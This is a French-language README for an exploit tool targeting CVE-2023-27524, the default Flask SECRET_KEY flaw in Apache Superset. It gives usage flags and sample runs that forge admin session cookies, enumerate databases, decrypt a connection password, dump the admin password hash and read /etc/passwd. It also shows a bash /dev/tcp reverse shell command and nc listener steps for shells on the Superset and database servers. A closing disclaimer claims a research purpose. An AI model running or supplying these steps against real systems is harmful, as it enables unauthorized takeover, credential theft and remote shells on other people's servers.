
Exploit pour CVE-2023-27524 ciblant le contournement d'authentification et la RCE d'Apache Superset. Il forge des cookies de session, énumère les bases de données/utilisateurs, exécute des commandes système et ouvre des shells inversés sur les instances vulnérables.
Apache Superset, un outil open-source largement utilisé pour la visualisation et l'exploration de données, a été identifié comme présentant de potentielles faiblesses de sécurité pouvant conduire à un contournement de l'authentification et à une exécution de code à distance (RCE). Ces vulnérabilités pourraient permettre à des acteurs malveillants d'acquérir des privilèges administratifs sur les serveurs ciblés, leur permettant de collecter les identifiants des utilisateurs et potentiellement de compromettre les données.
Le problème de sécurité spécifique en question est une vulnérabilité de configuration par défaut non sécurisée, référencée sous le nom CVE-2023-27524.
La cause racine réside dans la clé secrète Flask prévisible définie lors de l'installation, affectant un nombre substantiel d'instances Apache Superset exposées. Bien que certains efforts d'atténuation aient été entrepris, cette vulnérabilité reste une préoccupation critique pour ceux qui n'ont pas mis à jour leurs configurations.
Le problème peut être escaladé en RCE. Cet exploit ajoute cette fonctionnalité à l'exploit original.
Description de la vulnérabilité officielle :
Attaques de validation de session dans les versions d'Apache Superset jusqu'à la version 2.0.1 incluse. Les installations qui n'ont pas modifié la SECRET_KEY configurée par défaut conformément aux instructions d'installation permettent à un attaquant de s'authentifier et d'accéder à des ressources non autorisées. Cela n'affecte pas les administrateurs Superset qui ont modifié la valeur par défaut de la configuration SECRET_KEY.
Ce script d'exploitation a été écrit pour une analyse CVE sur .
Installer les paquets PIP :
pip3 install -r requirements.txt
Utilisation :
usage: exploit.py [-h] --url URL [--id ID] [--wordlist WORDLIST] [--validate] [--enum-dbs] [--enum-users] [--cmd CMD]
[--revshell REVSHELL] [--db-host]
options:
-h, --help show this help message and exit
--url URL, -u URL Host URL
--id ID User ID to forge session cookie for. Default=1
--wordlist WORDLIST, -w WORDLIST
Specify a wordlist file (default is 10.txt)
--validate, -v Validate the presence of vulnerability by login attempt
--enum-dbs, -dbs Enumerate databases
--enum-users, -eu Enumerate databases
--cmd CMD, -c CMD Run custom OS command on the database's server.
--revshell REVSHELL Specify IP:Port for reverse shell
--db-host Run commands or open reverse shell on the database server
# python3 exploit.py --url http://localhost:8088 -v -w 10k_most_common_passwords.txt
[+] Session cookie found.
[+] Decoded session cookie: <REDACTED>
[+] Using '10k_most_common_passwords.txt' as a wordlist.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
[+] Forged session cookie for user 1: <REDACTED>
[+] Superset Version: 2.0.1
[+] Login successful. Vulnerability is validated.
# python3 exploit.py -u http://localhost:8088 --enum-dbs
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '5d4c9ad6caf94bc1c652b0fc8e8739d19c45c05a', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsQ6Q.nKTBZiUq-Cu0iWSLQIUtB2W9HnM
[+] Version 2.0.1 seems vulnerable.
[+] Enumerating databases via API...
[+] Found database: "examples" with password "superset".
[+] Found database: "SQLite".
[+] Enumerating database connection data and cracking password if possible...
+-----------------+---------------------------------------------------+--------------------------+----------------------+
| database_name | sqlalchemy_uri | password | decrypted_password |
|-----------------+---------------------------------------------------+--------------------------+----------------------|
| examples | postgresql://superset:XXXXXXXXXX@db:5432/superset | MAqp6AIikZpDM5bMH4MMgA== | superset******** |
| SQLite | sqlite+pysqlite:////app/superset_home/superset.db | | |
+-----------------+---------------------------------------------------+--------------------------+----------------------+
[+] Process of enumerating databases finished.
# python3 exploit.py -u http://localhost:8088 --enum-users
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': '2a3adb09bac36c330a77c74da1cca27c431779e8', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRCQ.qeci7JgO5Lb4AwexB0Qojp5RDbs
[+] Version 2.0.1 seems vulnerable.
[+] Checking existing metadata database connection...
[+] Settings of database with id 1 were successfully modified.
[+] Settings of database with id 2 were successfully modified.
[+] Superset metadata connection is already added with id 2.
[+] Trying to enumerate Superset users...
[+] RESULT:
+------------+--------------------------------------------------------------------------------------------------------+
| username | password |
|------------+--------------------------------------------------------------------------------------------------------|
| admin | pbkdf2:sha256:260000$z5y5YnluWzyx4kd2$33c40dfefdea9aedef6ed171a941492516ba49c1ed8ed740d7e05446ce639c0e |
+------------+--------------------------------------------------------------------------------------------------------+
Sur le serveur Superset :
# python3 exploit.py --url http://localhost:8088 --cmd 'bash -i >& /dev/tcp/<IP>/4242 0>&1'
Notez que dans ce cas, la sortie ne peut pas encore être visualisée.
Sur le serveur de base de données :
# python3 exploit.py -u http://localhost:8088 --cmd 'cat /etc/passwd' --db-host
[+] Session cookie found.
[+] Decoded session cookie:
{'csrf_token': 'c2154d7077f507bd69c791f9d6de49115ba290a3', 'locale': 'en'}
[+] Using default secret keys.
[+] Superset instance is VULNERABLE to CVE-2023-27524.
[+] Secret key found: "b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'"
[+] Forged session cookie for user 1:
eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZPsRMw.haTjE2XBuVjamMvsdg7SemBr3Ig
[+] Version 2.0.1 seems vulnerable.
[+] Trying to run command on the database server...
[+] Settings of database with id 1 were successfully modified.
[+] $ cat /etc/passwd
+-----------------------------------------------------------------------------------+
| cmd_output |
|-----------------------------------------------------------------------------------|
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| <REDACTED> |
| postgres:x:999:999::/var/lib/postgresql:/bin/bash |
+-----------------------------------------------------------------------------------+
Sur le serveur Superset :
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT]
Sur le serveur de base de données :
# Terminal 1
nc -lvnp [PORT]
# Terminal 2
python3 exploit.py -u http://localhost:8088 --revshell [IP]:[PORT] --db-host
Ce script d'exploitation a été créé uniquement à des fins de recherche et pour le développement de techniques défensives efficaces. Il n'est pas destiné à être utilisé pour des activités malveillantes ou non autorisées. L'auteur et le propriétaire du script déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel. Les utilisateurs sont invités à utiliser ce logiciel de manière responsable et uniquement conformément aux lois et réglementations applicables. Utilisez-le de manière responsable.